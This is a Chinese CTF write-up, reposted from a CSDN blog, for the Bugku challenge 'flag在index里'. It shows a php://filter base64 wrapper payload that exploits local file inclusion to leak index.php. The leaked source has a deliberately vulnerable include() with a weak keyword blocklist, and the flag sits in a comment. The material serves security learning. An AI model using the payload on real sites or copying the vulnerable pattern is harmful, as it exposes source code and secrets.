CTF-flag在index里 80


CTF-flag在index里 80

進入鏈接

點一下

一臉懵逼,百度知道這是文件包含漏洞

將file=show.php改成file= php://filter/read=convert.base64-encode/resource=index.php

得到一串base64密文,進行解碼得到:

<html>

<title>Bugku-ctf</title>

 

<?php

    error_reporting(0);

    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}

    $file=$_GET['file'];

    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){

        echo "Oh no!";

        exit();

    }

    include($file);

//flag:flag{edulcni_elif_lacol_si_siht}

?>

</html>

 

現在具體說說file=php://filter/read=convert.base64-encode/resource=index.php的含義

 

首先這是一個file關鍵字的get參數傳遞,php://是一種協議名稱,php://filter/是一種訪問本地文件的協議,/read=convert.base64-encode/表示讀取的方式是base64編碼后,resource=index.php表示目標文件為index.php。

 

通過傳遞這個參數可以得到index.php的源碼,下面說說為什么,看到源碼中的include函數,這個表示從外部引入php文件並執行,如果執行不成功,就返回文件的源碼。

 

而include的內容是由用戶控制的,所以通過我們傳遞的file參數,是include()函數引入了index.php的base64編碼格式,因為是base64編碼格式,所以執行不成功,返回源碼,所以我們得到了源碼的base64格式,解碼即可。

 

如果不進行base64編碼傳入,就會直接執行,而flag的信息在注釋中,是得不到的。

 

解釋引用於:

————————————————

版權聲明:本文為CSDN博主「安~然」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/zpy1998zpy/java/article/details/80585443


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM